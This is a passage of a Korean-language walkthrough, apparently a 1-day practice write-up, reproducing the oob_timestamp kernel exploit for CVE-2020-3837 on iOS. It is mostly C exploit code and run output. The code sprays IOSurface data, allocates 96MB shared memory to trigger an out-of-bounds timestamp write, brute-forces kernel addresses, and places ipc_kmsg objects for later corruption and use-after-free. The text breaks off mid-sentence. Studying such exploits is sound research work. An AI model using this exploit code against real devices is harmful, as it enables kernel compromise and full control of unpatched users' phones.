\ud544\ub4dc\ub97c \uc77d\uc5c8\uc744\ub54c,\n0xaabbcc\ub77c\ub294 \uac12\uc73c\ub85c \ub370\uc774\ud130\ub97c \uc0ac\uc804\uc5d0 \uc368\ub1a8\uae30\uc5d0 \uc11c\ub85c \uc77c\uce58\ud558\uba74 \uc6b0\ub9ac\uac00 \ud560\ub2f9\ud55c \uc601\uc5ed\uc774\ub77c\uace0 \ub354\ub354\uc6b1 \ud655\uc2e0\ud65c \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">00000000 struct OSDictionary::dictEntry \/\/ sizeof=0x10\n00000000 {\n00000000     const OSSymbol *key;\n00000008     const OSMetaClassBase *value;\n00000010 };\n\n00000000 struct __cppobj OSSymbol : OSString \/\/ sizeof=0x18\n00000000 {\n00000018 };\n\n00000000 struct __cppobj OSString : OSObject \/\/ sizeof=0x18\n00000000 {                                       \/\/ XREF: OSSymbol\/r\n00000000                                         \/\/ sub_FFFFFFF005C609D4\/r\n0000000C.0   unsigned __int32 flags : 14;\n0000000C.14  unsigned __int32 length : 18;\n00000010     char *string;\n00000018 };\n<\/code><\/pre>\n<p>\ub530\ub77c\uc11c IOSurface\ub97c \ud65c\uc6a9\ud558\uc5ec \ud560\ub2f9\ub41c 82MB \ub370\uc774\ud130\uac00 \uc874\uc7ac\ud558\ub294\uc9c0\n\ud655\uc778\uc2dc\ud0a4\ub294 \ucf54\ub4dc\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">#if ENABLE_HELPER\n    \/\/helper; find our sprayed IOSurface data\n    uint64_t userspaceValueDicts = userdict_from_IOSurface();\n\tINFO(&quot;IOSurface's userspaceValueDicts: 0x%llx\\n&quot;, userspaceValueDicts);\n    struct kOSDict *dict = kernel_fetch_dict(userspaceValueDicts);\n    uint64_t osdict_entry = 0;\n    \n    for (int i = 0; i &lt; dict-&gt;count; i++) {\n\t\tif(dict-&gt;items[i].value) {\n            uint32_t osdict_count = kread32(dict-&gt;items[i].value + off_osdictionary_count);\n\t        uint32_t osdict_capacity = kread32(dict-&gt;items[i].value + off_osdictionary_capacity);\n            osdict_entry = kread64(dict-&gt;items[i].value + off_osdictionary_dictionary);\n\n            if(osdict_capacity == (82 MB \/ 0x10)) {\n                uint64_t osdictentry_key = kread64(osdict_entry + off_osdictentry_dict);  \n                uint64_t osdict_kbuffer = kread64(osdictentry_key + off_osstring_string);\n                \n                if(kread32(osdict_kbuffer) == 0xaabbcc) {\n                    SUCCESS(&quot;Found our 1st sprayed IOSurface data!\\n&quot;);\n                    INFO(&quot;OSDict from userspaceValueDicts[%u] = 0x%llx\\n&quot;, i, dict-&gt;items[i].value);\n                    INFO(&quot;osdict_count = 0x%x, osdict_capacity = 0x%x, osdict_entry = 0x%llx\\n&quot;, osdict_count, osdict_capacity, osdict_entry);\n                    INFO(&quot;osdictentry_key = 0x%llx\\n&quot;, osdictentry_key);\n                    INFO(&quot;osdict_kbuffer = 0x%llx -&gt; 0x%x\\n&quot;, osdict_kbuffer, kread32(osdict_kbuffer));\n                    break;\n                }\n            }\n\t\t}\n    }\n    \/\/ getchar();\n    \/\/\n#endif\n<\/code><\/pre>\n<p>\uc2e4\ud589 \uacb0\uacfc\uc640 \ud568\uaed8 huge kalloc\uc740 \uc544\ub798 \uc8fc\uc18c\ub85c \ud560\ub2f9\ub418\uc5c8\ub2e4.<\/p>\n<p>huge kalloc(osdict_entry) = 0xffffffe0ca5d0000<\/p>\n<pre><code class=\"language-cpp\">[*] IOSurface's userspaceValueDicts: 0xffffffe002ba5230\n[*] dict 0xffffffe002ba5230, items 0xffffffe002147e80, count 2, capacity 4\n[+] Found our 1st sprayed IOSurface data!\n[*] OSDict from userspaceValueDicts[1] = 0xffffffe002ba4d80\n[*] osdict_count = 0x1, osdict_capacity = 0x520000, osdict_entry = 0xffffffe0ca5d0000\n[*] osdictentry_key = 0xffffffe0019e1300\n[*] osdict_kbuffer = 0xffffffe0037e8aa0 -&gt; 0xaabbcc\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2020-3837\/pics\/Screenshot_2025-09-10_at_2.03.40_AM.png\" alt=\"Screenshot 2025-09-10 at 2.03.40\u202fAM.png\"><\/p>\n<h2>2. 96MB seglist, cmdbuf \uacf5\uc720\uba54\ubaa8\ub9ac \uc0dd\uc131<\/h2>\n<p>\ub2e4\uc74c\uc73c\ub85c, \ud5a5\ud6c4\uc5d0 OOB \ucde8\uc57d\uc810\uc744 \ud2b8\ub9ac\uac70\uc2dc\ud0a4\ub294\ub370 \ud544\uc694\ud55c seglist, cmdbuf 2\uac1c\uc758 \uacf5\uc720\uba54\ubaa8\ub9ac \uc601\uc5ed\ub97c \uc0dd\uc131\ud55c\ub2e4.<\/p>\n<p>\ud560\ub2f9\uc2dc\ud0a4\ub294 \uacfc\uc815\uc5d0\uc11c \ub0b4\ubd80\uc801\uc73c\ub85c <code>IOIteratePageableMaps()<\/code>\ub97c \ud1b5\ud574 IOKit \ud398\uc774\uc800\ube14 \uba54\ubaa8\ub9ac \uc601\uc5ed\uc744 \ud560\ub2f9\ud558\uac8c \ub41c\ub2e4. IOKit \ud328\uc774\uc800\ube14 \ub9f5\uc758 \ucd5c\ub300 \ud06c\uae30\ub294 96MB\uc774\uba70, \uac01\uac01 96MB \ud06c\uae30\uc758 \ucee4\ub9e8\ub4dc \ubc84\ud37c\uc640 \uc138\uadf8\uba3c\ud2b8 \ub9ac\uc2a4\ud2b8 \uc601\uc5ed\uc744 \uc0dd\uc131\ud558\uc5ec \uac01\uc790\uac00 \ubcc4\ub3c4\uc758 \ud398\uc774\uc800\ube14 \ub9f5\uc5d0 \ud560\ub2f9\ub418\ub3c4\ub85d \ub9cc\ub4e4 \uc218 \uc788\ub2e4.<\/p>\n<p>\uc774\ub294 \uacf5\uc720 \uba54\ubaa8\ub9ac \uc8fc\uc18c \uc608\uce21\uc5d0 \uc0ac\uc6a9\ud560 \uc218 \uc788\ub294 \uacf5\uac04\uc744 \ucd5c\ub300\ud654\uc2dc\ud0ac \uc218 \uc788\uace0, \ucee4\ub9e8\ub4dc \ubc84\ud37c \ub05d\uc744 \ubc97\uc5b4\ub09c OOB \uc4f0\uae30\uac00 \ubc14\ub85c \uc778\uc811\ud55c \ub2e4\uc74c \uba54\ubaa8\ub9ac \uc601\uc5ed\uc5d0 \uc704\uce58\ud558\ub3c4\ub85d \ubcf4\uc7a5\ud55c\ub2e4.<\/p>\n<p>\uacf5\uc720\uba54\ubaa8\ub9ac\ub97c \uc0dd\uc131\ud558\ub294\ub370 \uc55e\uc11c \ucee4\ub9e8\ub4dc \ubc84\ud37c \ud06c\uae30\ub97c \uc544\ub798\uc640 \uac19\uc774\n<code>cmd1-&gt;command.size = (uint32_t)buffer_size - 16;<\/code> \uc989, \ub9c8\uc9c0\ub9c9 \ube84 \uac12\uc744 -16\uc73c\ub85c \uc9c0\uc815\uc2dc\ud0a8\uac83\uc744 \ud655\uc778\ud560 \uc218 \uc788\ub2e4.<\/p>\n<p>\uc6b0\ub9ac\uac00 \uc774\uc804\uc5d0 POC \ud2b8\ub9ac\uac70\ud558\ub824\uace0 \ud588\uc744\ub54c\ub294 -8\ub85c \ube84\uc148\uc744 \uc9c4\ud589\ud558\uc600\ub294\ub370,\n\uc774 \uacbd\uc6b0 \ud0c0\uc784\uc2a4\ud0ec\ud504\uac00 \ucd5c\ub300 8\ubc14\uc774\ud2b8\uae4c\uc9c0 OOB Write\uac00 \ubc1c\uc0dd\ud558\uc5ec \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud588\uae30\uc5d0, \uc774\ub97c \ubc29\uc9c0\ud558\ub294\uac83\uc744 \ubcf4\uc778\ub2e4.<\/p>\n<p>\uc774\ubbf8 \uacf5\uc720\uba54\ubaa8\ub9ac \uc0dd\uc131\uc744 \ud55c \uc774\ud6c4\ub85c\ub3c4, \uc5b8\uc81c\ub4e0\uc9c0 <code>cmd1-&gt;command.size<\/code>\ub97c \uc218\uc815\ud558\uc5ec <code>submit_command_buffer<\/code>\ub97c \ud638\ucd9c\ud558\uba74 \uc5b8\uc81c\ub4e0\uc9c0 OOB Write \ubc84\uadf8\ub97c \ud2b8\ub9ac\uac70\uc2dc\ud0ac \uc218 \uc788\ub2e4.<\/p>\n<p>\uc0dd\uc131\ub41c \uacf5\uc720\uba54\ubaa8\ub9ac\uac00 \ucee4\ub110\uc758 \uc5b4\ub290 \uc8fc\uc18c\uc5d0 \ud574\ub2f9\ub418\ub294\uc9c0 \ucd94\ud6c4 \ud655\uc778\ud558\uae30 \uc704\ud574\n\uacf5\uc720 \uba54\ubaa8\ub9ac\ub97c \ud560\ub2f9\ud558\uace0 \uac12\uc744 \uc4f8\ub54c +0x1000 \uc704\uce58\uc5d0 \ud2b9\ubcc4\ud55c \uc2dc\uadf8\ub2c8\ucc98\ub97c \ub0a8\uacbc\ub2e4.<\/p>\n<p><strong>\ucee4\ub9e8\ub4dc \ubc84\ud37c  &#8211; 0x4142434445464748<\/strong>\n<strong>\uc138\uadf8\uba3c\ud2b8 \ub9ac\uc2a4\ud2b8 &#8211; 0x5152535455565758<\/strong><\/p>\n<pre><code class=\"language-cpp\">\nint alloc_shmem_with_sig(uint32_t buffer_size, struct IOAccelDeviceShmemData *cmdbuf, struct IOAccelDeviceShmemData *seglist, uint64_t command_buffer_shmem_sig, uint64_t segment_list_shmem_sig) {\n    struct IOAccelDeviceShmemData command_buffer_shmem;\n    struct IOAccelDeviceShmemData segment_list_shmem;\n    \n    kern_return_t kr = IOAccelSharedUserClient2_create_shmem(buffer_size, &amp;command_buffer_shmem);\n    if (kr) {\n        printf(&quot;[-] IOAccelSharedUserClient2_create_shmem: 0x%x (%s)\\n&quot;, kr, mach_error_string(kr));\n        return kr;\n    }\n    \n    kr = IOAccelSharedUserClient2_create_shmem(buffer_size, &amp;segment_list_shmem);\n    if (kr) {\n        printf(&quot;[-] IOAccelSharedUserClient2_create_shmem: 0x%x (%s)\\n&quot;, kr, mach_error_string(kr));\n        return kr;\n    }\n\n    \/\/ set signature\n    *(uint64_t*)(command_buffer_shmem.data + 0x1000) = command_buffer_shmem_sig;\n    *(uint64_t*)(segment_list_shmem.data + 0x1000) = segment_list_shmem_sig;\n    \n    *cmdbuf = command_buffer_shmem;\n    *seglist = segment_list_shmem;\n    \n    submit_args.header.count = 1;\n    submit_args.command.command_buffer_shmem_id = command_buffer_shmem.shmem_id;\n    submit_args.command.segment_list_shmem_id = segment_list_shmem.shmem_id;\n\n    struct IOAccelSegmentListHeader *slh = segment_list_shmem.data;\n    slh-&gt;length = 0x100;\n    slh-&gt;segment_count = 1;\n    \n    struct IOAccelSegmentResourceListHeader *srlh = (void *)(slh + 1);\n    srlh-&gt;kernel_commands_start_offset = 0;\n    srlh-&gt;kernel_commands_end_offset = buffer_size;\n    \n    \/\/ this is just a filler for the first 0x4000 - n bytes, timestamp written in off_timestamp = 8\n    struct IOAccelKernelCommand_CollectTimeStamp *cmd1 = command_buffer_shmem.data;\n    cmd1-&gt;command.type = 2;\n    cmd1-&gt;command.size = (uint32_t)buffer_size - 16;\n    \n    \/\/ put command 2 after command 1, so now timestamp written in cmd1-&gt;command.size + off_timestamp (8) = 0x4000 &lt;= 8 bytes written OOB!\n    struct IOAccelKernelCommand_CollectTimeStamp *cmd2 = (void *)((uint8_t *)cmd1 + cmd1-&gt;command.size);\n    cmd2-&gt;command.type = 2;\n    cmd2-&gt;command.size = 8;\n    \n    return IOAccelCommandQueue2_submit_command_buffers(&amp;submit_args.header, sizeof(submit_args));\n}\n\n...\n\n    struct IOAccelDeviceShmemData cmdbuf, seglist;\n    uint64_t command_buffer_shmem_sig = 0x4142434445464748;\n\t  uint64_t segment_list_shmem_sig = 0x5152535455565758;\n    ret = alloc_shmem_with_sig(96 MB, &amp;cmdbuf, &amp;seglist, command_buffer_shmem_sig, segment_list_shmem_sig);\n\n    if (ret) {\n        ERROR(&quot;Failed to allocate shared memory\\n&quot;);\n        goto err;\n    }\n<\/code><\/pre>\n<p>\uc2dc\uadf8\ub2c8\ucc98\ub97c \ud1b5\ud574 \uacf5\uc720\uba54\ubaa8\ub9ac\uac00 \uac01\uac01 \uc5b4\ub290 \uc8fc\uc18c\uc5d0 \uc704\uce58\ud55c\uc9c0 \uc54c\uc544\ub0b4\uae30 \uc704\ud574 \uc5ec\ub7ec\ubc88 \uc2dc\ud589\ucc29\uc624\ub97c \uacaa\uc5c8\ub2e4.<\/p>\n<p><code>helper\/find_shmem.c<\/code> \ud30c\uc77c\uc758 <code>find_shmem_in_kernel_[1, 2, 3, 4]<\/code> \ud568\uc218\uc5d0\uc11c \ud655\uc778\ud560 \uc218 \uc788\ub2e4.<\/p>\n<p>4\uac1c\uc758 \uc544\uc774\ub514\uc5b4\ub97c \uc0dd\uac01\ud574\ub0b8 \ub05d\uc5d0, \ub9c8\uc9c0\ub9c9 4\ubc88 \ubc29\ubc95\uc73c\ub85c \uc8fc\uc18c\ub97c \uac00\uc838\uc624\ub294\ub370 \uc131\uacf5\ud588\ub2e4. (\uc218\ud589\ud558\ub294\ub370 \ub300\ub7b5 10\ucd08 \uc774\uc0c1 \uac78\ub9bc)<\/p>\n<ol>\n<li><code>gIOKitPageableSpace_start<\/code>\uc5d0\uc11c <code>gIOKitPageableSpace_end<\/code>\uae4c\uc9c0 \ub9e4 +0x1000\uc529 \ub354\ud574 \uac12\uc744 \uc77d\uc5c8\uc744\ub54c \uc6b0\ub9ac\uc758 \uc2dc\uadf8\ub2c8\ucc98\uac00 \uc788\ub294\uc9c0 \ud655\uc778\ud558\uae30<\/li>\n<li><code>gIOKitPageableSpace<\/code>\uc5d0 \uc18d\ud55c <code>vm_map<\/code>\uc758 <code>next<\/code> \ud544\ub4dc\uc5d0 \uc811\uadfc \ubc0f \uc21c\ud68c\ud558\uba70 <code>map-&gt;start<\/code> \ud544\ub4dc\uc758 +0x1000 \uc704\uce58\uc5d0 \uc6b0\ub9ac\uc758 \uc2dc\uadf8\ub2c8\ucc98\uac00 \uc788\ub294\uc9c0 \ud655\uc778\ud558\uae30<\/li>\n<li>\ud560\ub2f9\ubc1b\uc740 \uc720\uc800\ub808\ubca8\uc758 \uacf5\uc720\uba54\ubaa8\ub9ac \uc8fc\uc18c\ub97c \ubb3c\ub9ac\uc8fc\uc18c\ub85c \ubcc0\ud658\ud55c\ub2e4\uc74c, \ucee4\ub110 \uac00\uc0c1\uba54\ubaa8\ub9ac \uc8fc\uc18c\ub85c \ubcc0\ud658\ud558\uae30.<\/li>\n<li>\uc774\uc804\uc5d0 IOSurface\ub97c \ud65c\uc6a9\ud558\uc5ec \ud560\ub2f9\ud588\ub358 82MB <code>dict_entry<\/code> \uc8fc\uc18c\uc5d0\uc11c \uc5b4\ub9bc\uc7a1\uc544 \uac12\uc744 \ub354\ud55c\n\ucc3e\uc744 \ubca0\uc774\uc2a4 \uc8fc\uc18c\uc5d0\uc11c \ub9e4 +0x1000\uc529 \ub354\ud574 \uac12\uc744 \uc77d\uc5c8\uc744\ub54c \uc6b0\ub9ac\uc758 \uc2dc\uadf8\ub2c8\ucc98\uac00 \uc788\ub294\uc9c0 \ud655\uc778\ud558\uae30<\/li>\n<\/ol>\n<p>1, 2\ubc88 \ubc29\ubc95\uc73c\ub85c\ub294 0x4000\uacfc \uac19\uc740 \uc791\uc740 \ud06c\uae30\ub85c \uacf5\uc720\uba54\ubaa8\ub9ac \ud560\ub2f9\ud588\uc744\uc2dc\uc5d0\ub294 \uc27d\uac8c \ucc3e\uc744 \uc218 \uc788\uc5c8\uc9c0\ub9cc, <strong>96MB \uac19\uc740 \ubc29\ub300\ud55c \ud06c\uae30\uc758 \uacbd\uc6b0 \ucc3e\uc9c0 \ubabb\ud588\ub2e4.<\/strong><\/p>\n<p>3\ubc88 \ubc29\ubc95\uc73c\ub85c\ub294 \ucee4\ub110 \uc8fc\uc18c\uc640 \uc720\uc800\ub808\ubca8 \uc8fc\uc18c \ubaa8\ub450 \uc11c\ub85c \uac19\uc740 \ubb3c\ub9ac\uc8fc\uc18c\ub85c \ud5a5\ud558\uc9c0\ub9cc,\n<strong>\uac00\uc0c1 \ucee4\ub110\uc8fc\uc18c\ub85c \ubcc0\ud658\uc2dc kernel map \ubc94\uc704\uc5d0 \uc18d\ud558\uc9c0 \uc54a\ub294\ub2e4.<\/strong><\/p>\n<p><strong>\ub530\ub77c\uc11c \ucd5c\ud6c4\uc758 4\ubc88 \ubc29\ubc95\uc73c\ub85c, 82MB dict_entry \uc8fc\uc18c\uc5d0\uc11c \uc5b4\ub9bc\uc7a1\uc544 \uac12\uc744 \ub354\ud574, \uc8fc\uc18c\ub97c \uad6c\ud558\uc600\ub2e4.<\/strong><\/p>\n<pre><code class=\"language-cpp\">\/\/ Solution 4\n\/\/ Bruteforcing...... sigh\nvoid find_shmem_in_kernel_4(uint64_t *kva1, uint64_t *kva2, uint64_t command_buffer_shmem_sig, uint64_t segment_list_shmem_sig, uint64_t iosurface_sprayed_osdict_entry) {\n\tuint64_t command_buffer_shmem_data_kva = 0;\n\tuint64_t segment_list_shmem_data_kva = 0;\n\n\tuint64_t kernel_alloc_start_maybe = 0;\n\tuint64_t kernel_map = kread64(ksym(KSYMBOL_kernel_map));\n\n\tif(iosurface_sprayed_osdict_entry) {\n\t\tkernel_alloc_start_maybe = (iosurface_sprayed_osdict_entry &amp; 0xffffffffff000000) + 0x1000000;\n\t}\n\telse {\n\t\tuint64_t kernel_map_start = kread64(kernel_map+0x20);\t\/\/0x20 = start\n\t\tkernel_alloc_start_maybe = kernel_map_start + 0x30000000;\n\t}\n\t\n\tint try_count = 0;\n\twhile(1) {\n\t\tuint64_t current_kva = kernel_alloc_start_maybe + try_count * 0x1000;\n\n\t\t\/\/check if valid readable kernel address to prevent kernel panic\n\t\tuint64_t current_pa = kvtophys(current_kva);\n\t\tif(current_pa == 0) continue;\n\n\t\tif(physread64(current_pa) == command_buffer_shmem_sig) {\n\t\t\tcommand_buffer_shmem_data_kva = current_kva-0x1000;\n            *kva1 = command_buffer_shmem_data_kva;\n\t\t}\n\n\t\tif(physread64(current_pa) == segment_list_shmem_sig) {\n\t\t\tsegment_list_shmem_data_kva = current_kva-0x1000;\n            *kva2 = segment_list_shmem_data_kva;\n\t\t}\n\n\t\tif(segment_list_shmem_data_kva &amp;&amp; command_buffer_shmem_data_kva) {\n\t\t\tINFO(&quot;try_count: %d\\n&quot;, try_count);\n\t\t\tbreak;\n\t\t}\n\n\t\tif(try_count &gt; 200000) {\n\t\t\tERROR(&quot;failed to find where shmem allocated in kernel\\n&quot;);\n\t\t\tbreak;\n\t\t}\n\n\t\ttry_count++;\n\t}\n\t\n...\n\n#if ENABLE_HELPER\n    \/\/helper; find our 96MB shmem data\n    uint64_t command_buffer_shmem_data_kva, segment_list_shmem_data_kva = 0;\n\tfind_shmem_in_kernel_4(&amp;command_buffer_shmem_data_kva, &amp;segment_list_shmem_data_kva, command_buffer_shmem_sig, segment_list_shmem_sig, osdict_entry);\n\tSUCCESS(&quot;command_buffer_shmem_data_kva: 0x%llx\\n&quot;, command_buffer_shmem_data_kva);\n\tSUCCESS(&quot;segment_list_shmem_data_kva: 0x%llx\\n&quot;, segment_list_shmem_data_kva);\n    \/\/\n#endif\n<\/code><\/pre>\n<p>\uc2e4\ud589 \uacb0\uacfc, \uacf5\uc720 \uba54\ubaa8\ub9ac\uac00 \ud560\ub2f9\ub41c \uc8fc\uc18c\ub294 \ub2e4\uc74c\uacfc \uac19\uac8c \ub098\uc628\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">[*] try_count: 42961\n[+] command_buffer_shmem_data_kva: 0xffffffe0d57d0000\n[+] segment_list_shmem_data_kva: 0xffffffe0cf7d0000\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2020-3837\/pics\/Screenshot_2025-09-10_at_3.03.06_AM.png\" alt=\"Screenshot 2025-09-10 at 3.03.06\u202fAM.png\"><\/p>\n<h2>3. \ucd94\ud6c4 \uc190\uc0c1\uc2dc\ud0ac ipc_kmsg \ud560\ub2f9<\/h2>\n<p>\uc774\uc81c 8\ud398\uc774\uc9c0\uc9dc\ub9ac ipc_kmsg\ub97c \ud558\ub098 \ud560\ub2f9\ud558\uace0 \ubcf4\uad00\uc6a9\uc73c\ub85c <code>corrupted_kmsg_port<\/code>\uc5d0 \uc800\uc7a5\ud55c\ub2e4. \ud574\ub2f9 <code>ipc_kmsg<\/code>\ub294 \ucee4\ub9e8\ub4dc \ubc84\ud37c \ud398\uc774\uc800\ube14 \ub9f5 \ubc14\ub85c \ub4a4\uc5d0 \uc704\uce58\ud574\uc57c\ud55c\ub2e4.<\/p>\n<p><code>ipc_kmsg<\/code>\ub97c \ud560\ub2f9\ud558\uae30 \uc704\ud574 <code>send_message<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud558\ub294\ub370,\n\ud574\ub2f9 \ud568\uc218\ub294 \uba54\uc2dc\uc9c0\ub97c \ubc1b\uc744 \ubaa9\uc801\uc9c0 \ud3ec\ud2b8\ub97c \uc9c0\uc815\ud558\uace0, \uc1a1\uc2e0\uad8c\ud55c\uc778 send right, \uadf8\ub9ac\uace0 \uba54\uc2dc\uc9c0 \ud06c\uae30 \ub4f1 \uc124\uc815\uc744 \ud3ec\ud568\ud558\uace0 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size) {\n    mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;\n    struct simple_msg *msg = malloc(msg_size);\n    \n    memset(msg, 0, sizeof(struct simple_msg));\n    \n    msg-&gt;hdr.msgh_remote_port = destination;\n    msg-&gt;hdr.msgh_local_port = MACH_PORT_NULL;\n    msg-&gt;hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);\n    msg-&gt;hdr.msgh_size = msg_size;\n    \n    memcpy(&amp;msg-&gt;buf[0], buffer, size);\n    \n    kern_return_t ret = mach_msg(&amp;msg-&gt;hdr, MACH_SEND_MSG, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);\n    if (ret) {\n        printf(&quot;[-] failed to send message\\n&quot;);\n        mach_port_destroy(mach_task_self(), destination);\n        free(msg);\n        return ret;\n    }\n    free(msg);\n    return KERN_SUCCESS;\n}\n\n...\n\n\/\/ port which we will later corrupt. should be exactly after command buffer\n    mach_port_t corrupted_kmsg_port = POP_PORT();\n    ret = send_message(corrupted_kmsg_port, data, (uint32_t)message_size_for_kalloc_size(8 * pagesize) - sizeof(struct simple_msg));\n    if (ret) {\n        printf(&quot;[-] Failed to send message\\n&quot;);\n        goto err;\n    }\n<\/code><\/pre>\n<p><code>ipc_kmsg<\/code> \ud560\ub2f9 \uc8fc\uc18c\ub97c \uad6c\ud558\ub294 \ubc29\ubc95\uc740 \uac04\ub2e8\ud558\ub2e4.<\/p>\n<p>\uc774\uc804\uc5d0 \uc6b0\ub9ac\ub294 IOSurface\ub97c \ud65c\uc6a9\ud55c \uc801\uc7ac\ub41c \ub370\uc774\ud130\ub97c \ud655\uc778\ud558\uae30 \uc704\ud574 <code>ipc_port<\/code> \uad6c\uc870\uccb4\uc5d0\uc11c <code>kdata.kobject<\/code> \ud544\ub4dc\uc5d0 \uc811\uadfc\ud588\uc5c8\ub2e4.<\/p>\n<p>\ub9c8\ucc2c\uac00\uc9c0\ub85c, <code>kdata.kobject<\/code> \ud544\ub4dc\uc5d0 <code>ikmq_base<\/code> \uc624\ud504\uc14b\uc744 \ub354\ud558\uba74 <code>ipc_kmsg<\/code> \uc8fc\uc18c\ub97c \uad6c\ud560 \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">00000000 struct ipc_port_0 \/\/ sizeof=0xA8\n00000000 {\n00000000     ipc_object ip_object;\n00000010     ipc_mqueue ip_messages\n...\n\n00000000 struct ipc_mqueue \/\/ sizeof=0x50\n00000000 {                                       \/\/ XREF: ipc_port_0\/r\n00000000                                         \/\/ ipc_port_1\/r ...\n00000000     ipc_mqueue::$2E0228C480B494B3768A87C5A9B2CB97 data;\n00000048     ipc_mqueue::$60FD45BA8CAC1DB02FF64F7437356E71;\n00000050 };\n\n00000000 union ipc_mqueue::$2E0228C480B494B3768A87C5A9B2CB97 \/\/ sizeof=0x48\n00000000 {                                       \/\/ XREF: ipc_mqueue\/r\n00000000     ipc_mqueue::$2E0228C480B494B3768A87C5A9B2CB97::$C897FC1EFAC1BB0E6F68B660AC1584BD port;\n00000000     ipc_mqueue::$2E0228C480B494B3768A87C5A9B2CB97::$F200E06D1AE0F2D5875A47A59DB37CDA pset;\n00000000 };\n\n00000000 struct __attribute__((aligned(8))) ipc_mqueue::$2E0228C480B494B3768A87C5A9B2CB97::$C897FC1EFAC1BB0E6F68B660AC1584BD \/\/ sizeof=0x48\n00000000 {                                       \/\/ XREF: ipc_mqueue::$2E0228C480B494B3768A87C5A9B2CB97\/r\n00000000     waitq_0 waitq;\n00000030     ipc_kmsg_queue messages;\n...\n\n00000000 struct ipc_kmsg_queue \/\/ sizeof=0x8\n00000000 {                                       \/\/ XREF: ipc_mqueue::$2E0228C480B494B3768A87C5A9B2CB97::$C897FC1EFAC1BB0E6F68B660AC1584BD\/r\n00000000                                         \/\/ thread_0\/r ...\n00000000     ipc_kmsg *ikmq_base;\n00000008 };\n<\/code><\/pre>\n<p>\ucf54\ub4dc\ub85c \uad6c\ud604\ud558\uba74 \uc544\ub798\uc640 \uac19\uace0,<\/p>\n<pre><code class=\"language-cpp\">#if ENABLE_HELPER\n    \/\/helper; obtain struct ipc_kmsg's addr\n    uint64_t ikmq_base = kread64(find_port(corrupted_kmsg_port) + off_ipc_port_ikmq_base);\n    uint64_t ipc_kmsg_addr = ikmq_base;\n    INFO(&quot;struct ipc_kmsg(port=0x%x) = 0x%llx\\n&quot;, corrupted_kmsg_port, ipc_kmsg_addr);\n    \/\/\n    #endif\n<\/code><\/pre>\n<p>\uc2e4\ud589 \uacb0\uacfc, \ub2e4\uc74c\uacfc \uac19\uc774 \ud2b9\uc815\uc8fc\uc18c\uc5d0 <code>ipc_kmsg<\/code>\uac00 \uc704\uce58\ud558\uac8c \ub41c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">[*] struct ipc_kmsg(port=0x2303) = 0xffffffe0db7d0000\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2020-3837\/pics\/image%203.png\" alt=\"image.png\"><\/p>\n<h2>4. 2\ubc88\uc9f8\uc758 ipc_kmsg \ud560\ub2f9<\/h2>\n<p>3\ubc88 \uacfc\uc815\uacfc \uac19\ub2e4.<\/p>\n<p>8\ud398\uc774\uc9c0\uc9dc\ub9ac <code>ipc_kmsg<\/code>\ub97c \ud558\ub098 \ud560\ub2f9\ud558\uace0 \ubcf4\uad00\uc6a9\uc73c\ub85c <code>placeholder_message_port<\/code>\uc5d0 \uc800\uc7a5\ud55c\ub2e4. \ud574\ub2f9 <code>ipc_kmsg<\/code>\ub294 \uccab\ubc88\uc9f8\ub85c \ud560\ub2f9\ub41c <code>ipc_kmsg<\/code> \ubc14\ub85c \ub4a4\uc5d0 \uc704\uce58\ud574\uc57c\ud55c\ub2e4.<\/p>\n<p>\uc9c0\uae08\uc740 \uc774\ucc98\ub7fc \ud560\ub2f9\ub41c \uc0c1\ud0dc\ub85c \uc720\uc9c0\ub418\uaca0\uc9c0\ub9cc, \ub098\uc911\uc5d0\ub294 \ud574\uc81c\ub41c \ub4a4 \uc81c\uc5b4\ub41c \ub370\uc774\ud130\ub85c \ub2e4\uc2dc \ud560\ub2f9\ub418\uc5b4 UAF\ub97c \ubc1c\uc0dd\uc2dc\ud0a4\uae30 \uc704\ud574 \ub9cc\ub4e4\uc5b4\ub454 \ucf54\ub4dc\uc778\uac83 \uac19\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">\/\/ this is a placeholder, we need it allocated for now but later it'll be freed and allocated with controlled data which will be UAFd\n    mach_port_t placeholder_message_port = POP_PORT();\n    ret = send_message(placeholder_message_port, data, (uint32_t)message_size_for_kalloc_size(8 * pagesize) - sizeof(struct simple_msg));\n    if (ret) {\n        printf(&quot;[-] Failed to send message\\n&quot;);\n        goto err;\n    }\n<\/code><\/pre>\n<p>\ub2e4\uc74c\uacfc \uac19\uc774 \ud2b9\uc815\uc8fc\uc18c\uc5d0 **2\ubc88\uc9f8\uc758 <code>ipc_kmsg<\/code>**\uac00 \uc704\uce58\ud558\uac8c \ub41c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">[*] struct ipc_kmsg 2(port=0x2203) = 0xffffffe0db7f0000\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2020-3837\/pics\/image%204.png\" alt=\"image.png\"><\/p>\n<h2>5. OOL \ud3ec\ud2b8 \uba54\uc2dc\uc9c0 \ud560\ub2f9<\/h2>\n<p>oob_timestamp \uc8fc\uc11d\uc5d0\ub294 \ub2e4\uc74c\uacfc \uac19\uc740 \ub0b4\uc6a9\uc774 \ub4e4\uc5b4\uc788\ub2e4.<\/p>\n<blockquote>\n<p>8\ud398\uc774\uc9c0\uc9dc\ub9ac OOL(out-of-line) \ud3ec\ud2b8 